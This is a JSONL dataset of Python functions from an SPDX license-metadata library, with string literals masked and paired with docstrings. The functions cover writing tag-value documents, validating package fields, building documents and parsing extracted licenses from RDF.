{"signature": "def write_file(spdx_file, out):", "body": "out.write('<STR_LIT>')<EOL>write_value('<STR_LIT>', spdx_file.name, out)<EOL>write_value('<STR_LIT>', spdx_file.spdx_id, out)<EOL>if spdx_file.has_optional_field('<STR_LIT:type>'):<EOL><INDENT>write_file_type(spdx_file.type, out)<EOL><DEDENT>write_value('<STR_LIT>', spdx_file.chk_sum.to_tv(), out)<EOL>if isinstance(spdx_file.conc_lics, (document.LicenseConjunction, document.LicenseDisjunction)):<EOL><INDENT>write_value('<STR_LIT>', u'<STR_LIT>'.format(spdx_file.conc_lics), out)<EOL><DEDENT>else:<EOL><INDENT>write_value('<STR_LIT>', spdx_file.conc_lics, out)<EOL><DEDENT>for lics in sorted(spdx_file.licenses_in_file):<EOL><INDENT>write_value('<STR_LIT>', lics, out)<EOL><DEDENT>if isinstance(spdx_file.copyright, six.string_types):<EOL><INDENT>write_text_value('<STR_LIT>', spdx_file.copyright, out)<EOL><DEDENT>else:<EOL><INDENT>write_value('<STR_LIT>', spdx_file.copyright, out)<EOL><DEDENT>if spdx_file.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_text_value('<STR_LIT>', spdx_file.license_comment, out)<EOL><DEDENT>if spdx_file.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_text_value('<STR_LIT>', spdx_file.comment, out)<EOL><DEDENT>if spdx_file.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_text_value('<STR_LIT>', spdx_file.notice, out)<EOL><DEDENT>for contributor in sorted(spdx_file.contributors):<EOL><INDENT>write_value('<STR_LIT>', contributor, out)<EOL><DEDENT>for dependency in sorted(spdx_file.dependencies):<EOL><INDENT>write_value('<STR_LIT>', dependency, out)<EOL><DEDENT>names = spdx_file.artifact_of_project_name<EOL>homepages = spdx_file.artifact_of_project_home<EOL>uris = spdx_file.artifact_of_project_uri<EOL>for name, homepage, uri in sorted(zip_longest(names, homepages, uris)):<EOL><INDENT>write_value('<STR_LIT>', name, out)<EOL>if homepage is not None:<EOL><INDENT>write_value('<STR_LIT>', homepage, out)<EOL><DEDENT>if uri is not None:<EOL><INDENT>write_value('<STR_LIT>', uri, out)<EOL><DEDENT><DEDENT>", "docstring": "Write a file fields to out.", "id": "f3743:m8"}
{"signature": "def write_package(package, out):", "body": "out.write('<STR_LIT>')<EOL>write_value('<STR_LIT>', package.name, out)<EOL>if package.has_optional_field('<STR_LIT:version>'):<EOL><INDENT>write_value('<STR_LIT>', package.version, out)<EOL><DEDENT>write_value('<STR_LIT>', package.download_location, out)<EOL>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_text_value('<STR_LIT>', package.summary, out)<EOL><DEDENT>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_text_value('<STR_LIT>', package.source_info, out)<EOL><DEDENT>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_value('<STR_LIT>', package.file_name, out)<EOL><DEDENT>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_value('<STR_LIT>', package.supplier, out)<EOL><DEDENT>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_value('<STR_LIT>', package.originator, out)<EOL><DEDENT>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_value('<STR_LIT>', package.check_sum.to_tv(), out)<EOL><DEDENT>write_value('<STR_LIT>', format_verif_code(package), out)<EOL>if package.has_optional_field('<STR_LIT:description>'):<EOL><INDENT>write_text_value('<STR_LIT>', package.description, out)<EOL><DEDENT>if isinstance(package.license_declared, (document.LicenseConjunction,<EOL>document.LicenseDisjunction)):<EOL><INDENT>write_value('<STR_LIT>', u'<STR_LIT>'.format(package.license_declared), out)<EOL><DEDENT>else:<EOL><INDENT>write_value('<STR_LIT>', package.license_declared, out)<EOL><DEDENT>if isinstance(package.conc_lics, (document.LicenseConjunction,<EOL>document.LicenseDisjunction)):<EOL><INDENT>write_value('<STR_LIT>', u'<STR_LIT>'.format(package.conc_lics), out)<EOL><DEDENT>else:<EOL><INDENT>write_value('<STR_LIT>', package.conc_lics, out)<EOL><DEDENT>for lics in sorted(package.licenses_from_files):<EOL><INDENT>write_value('<STR_LIT>', lics, out)<EOL><DEDENT>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_text_value('<STR_LIT>', package.license_comment, out)<EOL><DEDENT>if isinstance(package.cr_text, six.string_types):<EOL><INDENT>write_text_value('<STR_LIT>', package.cr_text, out)<EOL><DEDENT>else:<EOL><INDENT>write_value('<STR_LIT>', package.cr_text, out)<EOL><DEDENT>if package.has_optional_field('<STR_LIT>'):<EOL><INDENT>write_value('<STR_LIT>', package.homepage, out)<EOL><DEDENT>for spdx_file in sorted(package.files):<EOL><INDENT>write_separators(out)<EOL>write_file(spdx_file, out)<EOL><DEDENT>", "docstring": "Write a package fields to out.", "id": "f3743:m9"}
{"signature": "def write_extracted_licenses(lics, out):", "body": "write_value('<STR_LIT>', lics.identifier, out)<EOL>if lics.full_name is not None:<EOL><INDENT>write_value('<STR_LIT>', lics.full_name, out)<EOL><DEDENT>if lics.comment is not None:<EOL><INDENT>write_text_value('<STR_LIT>', lics.comment, out)<EOL><DEDENT>for xref in sorted(lics.cross_ref):<EOL><INDENT>write_value('<STR_LIT>', xref, out)<EOL><DEDENT>write_text_value('<STR_LIT>', lics.text, out)<EOL>", "docstring": "Write extracted licenses fields to out.", "id": "f3743:m10"}
{"signature": "def write_document(document, out, validate=True):", "body": "messages = []<EOL>messages = document.validate(messages)<EOL>if validate and messages:<EOL><INDENT>raise InvalidDocumentError(messages)<EOL><DEDENT>out.write('<STR_LIT>')<EOL>write_value('<STR_LIT>', str(document.version), out)<EOL>write_value('<STR_LIT>', document.data_license.identifier, out)<EOL>write_value('<STR_LIT>', document.name, out)<EOL>write_value('<STR_LIT>', '<STR_LIT>', out)<EOL>write_value('<STR_LIT>', document.namespace, out)<EOL>if document.has_comment:<EOL><INDENT>write_text_value('<STR_LIT>', document.comment, out)<EOL><DEDENT>for doc_ref in document.ext_document_references:<EOL><INDENT>doc_ref_str = '<STR_LIT:U+0020>'.join([doc_ref.external_document_id,<EOL>doc_ref.spdx_document_uri,<EOL>doc_ref.check_sum.identifier + '<STR_LIT::>' +<EOL>doc_ref.check_sum.value])<EOL>write_value('<STR_LIT>', doc_ref_str, out)<EOL><DEDENT>write_separators(out)<EOL>write_creation_info(document.creation_info, out)<EOL>write_separators(out)<EOL>for review in sorted(document.reviews):<EOL><INDENT>write_review(review, out)<EOL>write_separators(out)<EOL><DEDENT>for annotation in sorted(document.annotations):<EOL><INDENT>write_annotation(annotation, out)<EOL>write_separators(out)<EOL><DEDENT>write_package(document.package, out)<EOL>write_separators(out)<EOL>out.write('<STR_LIT>')<EOL>for lic in sorted(document.extracted_licenses):<EOL><INDENT>write_extracted_licenses(lic, out)<EOL>write_separators(out)<EOL><DEDENT>", "docstring": "Write an SPDX tag value document.\n- document - spdx.document instance.\n- out - file like object that will be written to.\nOptionally `validate` the document before writing and raise\nInvalidDocumentError if document.validate returns False.", "id": "f3743:m11"}
{"signature": "def add_artifact(self, symbol, value):", "body": "symbol = '<STR_LIT>'.format(symbol)<EOL>artifact = getattr(self, symbol)<EOL>artifact.append(value)<EOL>", "docstring": "Add value as artifact_of_project{symbol}.", "id": "f3745:c1:m6"}
{"signature": "def validate(self, messages):", "body": "messages = self.validate_concluded_license(messages)<EOL>messages = self.validate_type(messages)<EOL>messages = self.validate_checksum(messages)<EOL>messages = self.validate_licenses_in_file(messages)<EOL>messages = self.validate_copyright(messages)<EOL>messages = self.validate_artifacts(messages)<EOL>messages = self.validate_spdx_id(messages)<EOL>return messages<EOL>", "docstring": "Validates the fields and appends user friendly messages\n        to messages parameter if there are errors.", "id": "f3745:c1:m7"}
{"signature": "def validate(self, messages):", "body": "messages = self.validate_checksum(messages)<EOL>messages = self.validate_optional_str_fields(messages)<EOL>messages = self.validate_mandatory_str_fields(messages)<EOL>messages = self.validate_files(messages)<EOL>messages = self.validate_mandatory_fields(messages)<EOL>messages = self.validate_optional_fields(messages)<EOL>return messages<EOL>", "docstring": "Validate the package fields.\nAppend user friendly error messages to the `messages` list.", "id": "f3746:c0:m4"}
{"signature": "def validate_optional_str_fields(self, messages):", "body": "FIELDS = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT:version>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT:description>'<EOL>]<EOL>messages = self.validate_str_fields(FIELDS, True, messages)<EOL>return messages<EOL>", "docstring": "Fields marked as optional and of type string in class\n        docstring must be of a type that provides __str__ method.", "id": "f3746:c0:m8"}
{"signature": "def validate_mandatory_str_fields(self, messages):", "body": "FIELDS = ['<STR_LIT:name>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>messages = self.validate_str_fields(FIELDS, False, messages)<EOL>return messages<EOL>", "docstring": "Fields marked as Mandatory and of type string in class\n        docstring must be of a type that provides __str__ method.", "id": "f3746:c0:m9"}
{"signature": "def validate_str_fields(self, fields, optional, messages):", "body": "for field_str in fields:<EOL><INDENT>field = getattr(self, field_str)<EOL>if field is not None:<EOL><INDENT>attr = getattr(field, '<STR_LIT>', None)<EOL>if not callable(attr):<EOL><INDENT>messages = messages + [<EOL>'<STR_LIT>'.format(field)<EOL>]<EOL><DEDENT><DEDENT>elif not optional:<EOL><INDENT>messages = messages + [<EOL>'<STR_LIT>'.format(field_str)<EOL>]<EOL><DEDENT><DEDENT>return messages<EOL>", "docstring": "Helper for validate_mandatory_str_field and\n        validate_optional_str_fields", "id": "f3746:c0:m10"}
{"signature": "def set_doc_version(self, doc, value):", "body": "if not self.doc_version_set:<EOL><INDENT>self.doc_version_set = True<EOL>m = self.VERS_STR_REGEX.match(value)<EOL>if m is None:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>doc.version = version.Version(major=int(m.group(<NUM_LIT:1>)),<EOL>minor=int(m.group(<NUM_LIT:2>)))<EOL>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set the document version.\nRaise exceptions:\n- SPDXValueError if malformed value,\n- CardinalityError if already defined,", "id": "f3750:c0:m1"}
{"signature": "def set_doc_data_lic(self, doc, res):", "body": "if not self.doc_data_lics_set:<EOL><INDENT>self.doc_data_lics_set = True<EOL>res_parts = res.split('<STR_LIT:/>')<EOL>if len(res_parts) != <NUM_LIT:0>:<EOL><INDENT>identifier = res_parts[-<NUM_LIT:1>]<EOL>doc.data_license = document.License.from_identifier(identifier)<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set the document data license.\nRaise exceptions:\n- SPDXValueError if malformed value,\n- CardinalityError if already defined.", "id": "f3750:c0:m2"}
{"signature": "def set_doc_name(self, doc, name):", "body": "if not self.doc_name_set:<EOL><INDENT>doc.name = name<EOL>self.doc_name_set = True<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the document name, raises CardinalityError if already defined.", "id": "f3750:c0:m3"}
{"signature": "def set_doc_spdx_id(self, doc, doc_spdx_id_line):", "body": "if not self.doc_spdx_id_set:<EOL><INDENT>if validations.validate_doc_spdx_id(doc_spdx_id_line):<EOL><INDENT>doc.spdx_id = doc_spdx_id_line<EOL>self.doc_spdx_id_set = True<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the document SPDX Identifier.\n        Raises value error if malformed value, CardinalityError\n        if already defined.", "id": "f3750:c0:m4"}
{"signature": "def set_doc_comment(self, doc, comment):", "body": "if not self.doc_comment_set:<EOL><INDENT>self.doc_comment_set = True<EOL>doc.comment = comment<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets document comment, Raises CardinalityError if\n        comment already set.", "id": "f3750:c0:m5"}
{"signature": "def set_doc_namespace(self, doc, namespace):", "body": "if not self.doc_namespace_set:<EOL><INDENT>self.doc_namespace_set = True<EOL>if validations.validate_doc_namespace(namespace):<EOL><INDENT>doc.namespace = namespace<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the document namespace.\n        Raise SPDXValueError if malformed value, CardinalityError\n        if already defined.", "id": "f3750:c0:m6"}
{"signature": "def reset_document(self):", "body": "<EOL>self.doc_version_set = False<EOL>self.doc_comment_set = False<EOL>self.doc_namespace_set = False<EOL>self.doc_data_lics_set = False<EOL>self.doc_name_set = False<EOL>self.doc_spdx_id_set = False<EOL>", "docstring": "Reset the internal state to allow building new document", "id": "f3750:c0:m7"}
{"signature": "def set_chksum(self, doc, chk_sum):", "body": "if chk_sum:<EOL><INDENT>doc.ext_document_references[-<NUM_LIT:1>].check_sum = checksum.Algorithm(<EOL>'<STR_LIT>', chk_sum)<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the external document reference's check sum, if not already set.\nchk_sum - The checksum value in the form of a string.", "id": "f3750:c1:m0"}
{"signature": "def set_creation_comment(self, doc, comment):", "body": "if not self.creation_comment_set:<EOL><INDENT>self.creation_comment_set = True<EOL>doc.creation_info.comment = comment<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets creation comment, Raises CardinalityError if\n        comment already set.\n        Raises SPDXValueError if not free form text.", "id": "f3750:c3:m1"}
{"signature": "def set_pkg_chk_sum(self, doc, chk_sum):", "body": "self.assert_package_exists()<EOL>if not self.package_chk_sum_set:<EOL><INDENT>self.package_chk_sum_set = True<EOL>doc.package.check_sum = checksum.Algorithm('<STR_LIT>', chk_sum)<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package check sum, if not already set.\n        chk_sum - A string\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.", "id": "f3750:c4:m1"}
{"signature": "def set_pkg_source_info(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_source_info_set:<EOL><INDENT>self.package_source_info_set = True<EOL>doc.package.source_info = text<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package's source information, if not already set.\n        text - Free form text.\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.", "id": "f3750:c4:m2"}
{"signature": "def set_pkg_verif_code(self, doc, code):", "body": "self.assert_package_exists()<EOL>if not self.package_verif_set:<EOL><INDENT>self.package_verif_set = True<EOL>doc.package.verif_code = code<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package verification code, if not already set.\n        code - A string.\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.", "id": "f3750:c4:m3"}
{"signature": "def set_pkg_excl_file(self, doc, filename):", "body": "self.assert_package_exists()<EOL>doc.package.add_exc_file(filename)<EOL>", "docstring": "Sets the package's verification code excluded file.\n        Raises OrderError if no package previously defined.", "id": "f3750:c4:m4"}
{"signature": "def set_pkg_license_comment(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_license_comment_set:<EOL><INDENT>self.package_license_comment_set = True<EOL>doc.package.license_comment = text<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package's license comment.\n        Raises OrderError if no package previously defined.\n        Raises CardinalityError if already set.", "id": "f3750:c4:m5"}
{"signature": "def set_pkg_cr_text(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_cr_text_set:<EOL><INDENT>self.package_cr_text_set = True<EOL>doc.package.cr_text = text<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the package's license comment.\n        Raises OrderError if no package previously defined.\n        Raises CardinalityError if already set.", "id": "f3750:c4:m6"}
{"signature": "def set_pkg_summary(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_summary_set:<EOL><INDENT>self.package_summary_set = True<EOL>doc.package.summary = text<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set's the package summary.\n        Raises CardinalityError if summary already set.\n        Raises OrderError if no package previously defined.", "id": "f3750:c4:m7"}
{"signature": "def set_pkg_desc(self, doc, text):", "body": "self.assert_package_exists()<EOL>if not self.package_desc_set:<EOL><INDENT>self.package_desc_set = True<EOL>doc.package.description = text<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Set's the package's description.\n        Raises CardinalityError if description already set.\n        Raises OrderError if no package previously defined.", "id": "f3750:c4:m8"}
{"signature": "def set_file_chksum(self, doc, chk_sum):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_chksum_set:<EOL><INDENT>self.file_chksum_set = True<EOL>self.file(doc).chk_sum = checksum.Algorithm('<STR_LIT>', chk_sum)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the file check sum, if not already set.\n        chk_sum - A string\n        Raises CardinalityError if already defined.\n        Raises OrderError if no package previously defined.", "id": "f3750:c5:m1"}
{"signature": "def set_file_license_comment(self, doc, text):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_license_comment_set:<EOL><INDENT>self.file_license_comment_set = True<EOL>self.file(doc).license_comment = text<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\nRaises CardinalityError if more than one per file.", "id": "f3750:c5:m2"}
{"signature": "def set_file_copyright(self, doc, text):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_copytext_set:<EOL><INDENT>self.file_copytext_set = True<EOL>self.file(doc).copyright = text<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\n        Raises CardinalityError if more than one.", "id": "f3750:c5:m3"}
{"signature": "def set_file_comment(self, doc, text):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_comment_set:<EOL><INDENT>self.file_comment_set = True<EOL>self.file(doc).comment = text<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or no file defined.\n        Raises CardinalityError if more than one comment set.", "id": "f3750:c5:m4"}
{"signature": "def set_file_notice(self, doc, text):", "body": "if self.has_package(doc) and self.has_file(doc):<EOL><INDENT>if not self.file_notice_set:<EOL><INDENT>self.file_notice_set = True<EOL>self.file(doc).notice = tagvaluebuilders.str_from_text(text)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises OrderError if no package or file defined.\n        Raises CardinalityError if more than one.", "id": "f3750:c5:m5"}
{"signature": "def add_review_comment(self, doc, comment):", "body": "if len(doc.reviews) != <NUM_LIT:0>:<EOL><INDENT>if not self.review_comment_set:<EOL><INDENT>self.review_comment_set = True<EOL>doc.reviews[-<NUM_LIT:1>].comment = comment<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the review comment. Raises CardinalityError if\n        already set. OrderError if no reviewer defined before.", "id": "f3750:c6:m1"}
{"signature": "def add_annotation_comment(self, doc, comment):", "body": "if len(doc.annotations) != <NUM_LIT:0>:<EOL><INDENT>if not self.annotation_comment_set:<EOL><INDENT>self.annotation_comment_set = True<EOL>doc.annotations[-<NUM_LIT:1>].comment = comment<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the annotation comment. Raises CardinalityError if\n        already set. OrderError if no annotator defined before.", "id": "f3750:c7:m1"}
{"signature": "def add_annotation_type(self, doc, annotation_type):", "body": "if len(doc.annotations) != <NUM_LIT:0>:<EOL><INDENT>if not self.annotation_type_set:<EOL><INDENT>if annotation_type.endswith('<STR_LIT>'):<EOL><INDENT>self.annotation_type_set = True<EOL>doc.annotations[-<NUM_LIT:1>].annotation_type = '<STR_LIT>'<EOL>return True<EOL><DEDENT>elif annotation_type.endswith('<STR_LIT>'):<EOL><INDENT>self.annotation_type_set = True<EOL>doc.annotations[-<NUM_LIT:1>].annotation_type = '<STR_LIT>'<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise CardinalityError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise OrderError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets the annotation type. Raises CardinalityError if\n        already set. OrderError if no annotator defined before.", "id": "f3750:c7:m2"}
{"signature": "def reset(self):", "body": "<EOL>self.reset_creation_info()<EOL>self.reset_document()<EOL>self.reset_package()<EOL>self.reset_file_stat()<EOL>self.reset_reviews()<EOL>self.reset_annotations()<EOL>", "docstring": "Resets builder's state for building new documents.\n        Must be called between usage with different documents.", "id": "f3750:c8:m1"}
{"signature": "def more_than_one_error(self, field):", "body": "msg = '<STR_LIT>'.format(field)<EOL>self.logger.log(msg)<EOL>self.error = True<EOL>", "docstring": "Logs a more than one error.\n        field is the field/property that has more than one defined.", "id": "f3751:c0:m1"}
{"signature": "def value_error(self, key, bad_value):", "body": "msg = ERROR_MESSAGES[key].format(bad_value)<EOL>self.logger.log(msg)<EOL>self.error = True<EOL>", "docstring": "Reports a value error using ERROR_MESSAGES dict.\n        key - key to use for ERROR_MESSAGES.\n        bad_value - is passed to format which is called on what key maps to\n        in ERROR_MESSAGES.", "id": "f3751:c0:m2"}
{"signature": "def to_special_value(self, value):", "body": "if value == self.spdx_namespace.none:<EOL><INDENT>return utils.SPDXNone()<EOL><DEDENT>elif value == self.spdx_namespace.noassertion:<EOL><INDENT>return utils.NoAssert()<EOL><DEDENT>elif value == self.spdx_namespace.unknown:<EOL><INDENT>return utils.UnKnown()<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT>", "docstring": "Checks if value is a special SPDX value such as\n        NONE, NOASSERTION or UNKNOWN if so returns proper model.\n        else returns value", "id": "f3751:c0:m3"}
{"signature": "def handle_lics(self, lics):", "body": "<EOL>if (lics, RDF.type, self.spdx_namespace['<STR_LIT>']) in self.graph:<EOL><INDENT>return self.parse_only_extr_license(lics)<EOL><DEDENT>ident_start = lics.rfind('<STR_LIT:/>') + <NUM_LIT:1><EOL>if ident_start == <NUM_LIT:0>:<EOL><INDENT>special = self.to_special_value(lics)<EOL>if special == lics:<EOL><INDENT>if self.LICS_REF_REGEX.match(lics):<EOL><INDENT>return document.License.from_identifier(lics)<EOL><DEDENT>else:<EOL><INDENT>raise SPDXValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return special<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return document.License.from_identifier(lics[ident_start:])<EOL><DEDENT>", "docstring": "Return a License from a `lics` license resource.", "id": "f3751:c1:m1"}
{"signature": "def get_extr_license_ident(self, extr_lic):", "body": "identifier_tripples = list(self.graph.triples((extr_lic, self.spdx_namespace['<STR_LIT>'], None)))<EOL>if not identifier_tripples:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL>return<EOL><DEDENT>if len(identifier_tripples) > <NUM_LIT:1>:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>return<EOL><DEDENT>identifier_tripple = identifier_tripples[<NUM_LIT:0>]<EOL>_s, _p, identifier = identifier_tripple<EOL>return identifier<EOL>", "docstring": "Return an a license identifier from an ExtractedLicense or None.", "id": "f3751:c1:m2"}
{"signature": "def get_extr_license_text(self, extr_lic):", "body": "text_tripples = list(self.graph.triples((extr_lic, self.spdx_namespace['<STR_LIT>'], None)))<EOL>if not text_tripples:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL>return<EOL><DEDENT>if len(text_tripples) > <NUM_LIT:1>:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>return<EOL><DEDENT>text_tripple = text_tripples[<NUM_LIT:0>]<EOL>_s, _p, text = text_tripple<EOL>return text<EOL>", "docstring": "Return extracted text  from an ExtractedLicense or None.", "id": "f3751:c1:m3"}
{"signature": "def get_extr_lic_name(self, extr_lic):", "body": "extr_name_list = list(self.graph.triples((extr_lic, self.spdx_namespace['<STR_LIT>'], None)))<EOL>if len(extr_name_list) > <NUM_LIT:1>:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>return<EOL><DEDENT>elif len(extr_name_list) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>return self.to_special_value(extr_name_list[<NUM_LIT:0>][<NUM_LIT:2>])<EOL>", "docstring": "Return the license name from an ExtractedLicense or None", "id": "f3751:c1:m4"}
{"signature": "def get_extr_lics_xref(self, extr_lic):", "body": "xrefs = list(self.graph.triples((extr_lic, RDFS.seeAlso, None)))<EOL>return map(lambda xref_triple: xref_triple[<NUM_LIT:2>], xrefs)<EOL>", "docstring": "Return a list of cross references.", "id": "f3751:c1:m5"}
{"signature": "def get_extr_lics_comment(self, extr_lics):", "body": "comment_list = list(self.graph.triples(<EOL>(extr_lics, RDFS.comment, None)))<EOL>if len(comment_list) > <NUM_LIT:1> :<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>return<EOL><DEDENT>elif len(comment_list) == <NUM_LIT:1>:<EOL><INDENT>return comment_list[<NUM_LIT:0>][<NUM_LIT:2>]<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT>", "docstring": "Return license comment or None.", "id": "f3751:c1:m6"}
{"signature": "def parse_only_extr_license(self, extr_lic):", "body": "<EOL>ident = self.get_extr_license_ident(extr_lic)<EOL>text = self.get_extr_license_text(extr_lic)<EOL>comment = self.get_extr_lics_comment(extr_lic)<EOL>xrefs = self.get_extr_lics_xref(extr_lic)<EOL>name = self.get_extr_lic_name(extr_lic)<EOL>if not ident:<EOL><INDENT>return<EOL><DEDENT>lic = document.ExtractedLicense(ident)<EOL>if text is not None:<EOL><INDENT>lic.text = text<EOL><DEDENT>if name is not None:<EOL><INDENT>lic.full_name = name<EOL><DEDENT>if comment is not None:<EOL><INDENT>lic.comment = comment<EOL><DEDENT>lic.cross_ref = map(lambda x: six.text_type(x), xrefs)<EOL>return lic<EOL>", "docstring": "Return an ExtractedLicense object to represent a license object.\nBut does not add it to the SPDXDocument model.\nReturn None if failed.", "id": "f3751:c1:m7"}
{"signature": "def handle_extracted_license(self, extr_lic):", "body": "lic = self.parse_only_extr_license(extr_lic)<EOL>if lic is not None:<EOL><INDENT>self.doc.add_extr_lic(lic)<EOL><DEDENT>return lic<EOL>", "docstring": "Build and return an ExtractedLicense or None.\nNote that this function adds the license to the document.", "id": "f3751:c1:m8"}
{"signature": "def _handle_license_list(self, lics_set, cls=None):", "body": "licenses = []<EOL>for _, _, lics_member in self.graph.triples(<EOL>(lics_set, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>try:<EOL><INDENT>if (lics_member, RDF.type, self.spdx_namespace['<STR_LIT>']) in self.graph:<EOL><INDENT>lics = self.handle_extracted_license(lics_member)<EOL>if lics is not None:<EOL><INDENT>licenses.append(lics)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>licenses.append(self.handle_lics(lics_member))<EOL><DEDENT><DEDENT>except CardinalityError:<EOL><INDENT>self.value_error('<STR_LIT>', lics_member)<EOL>break<EOL><DEDENT><DEDENT>if len(licenses) > <NUM_LIT:1>:<EOL><INDENT>return reduce(lambda a, b: cls(a, b), licenses)<EOL><DEDENT>else:<EOL><INDENT>self.value_error('<STR_LIT>', '<STR_LIT>')<EOL>return<EOL><DEDENT>", "docstring": "Return a license representing a `cls` object (LicenseConjunction\nor LicenseDisjunction) from a list of license resources or None.", "id": "f3751:c1:m9"}
{"signature": "def handle_conjunctive_list(self, lics_set):", "body": "return self._handle_license_list(lics_set, cls=document.LicenseConjunction)<EOL>", "docstring": "Return a license representing the conjunction from a list of\nlicense resources or None.", "id": "f3751:c1:m10"}
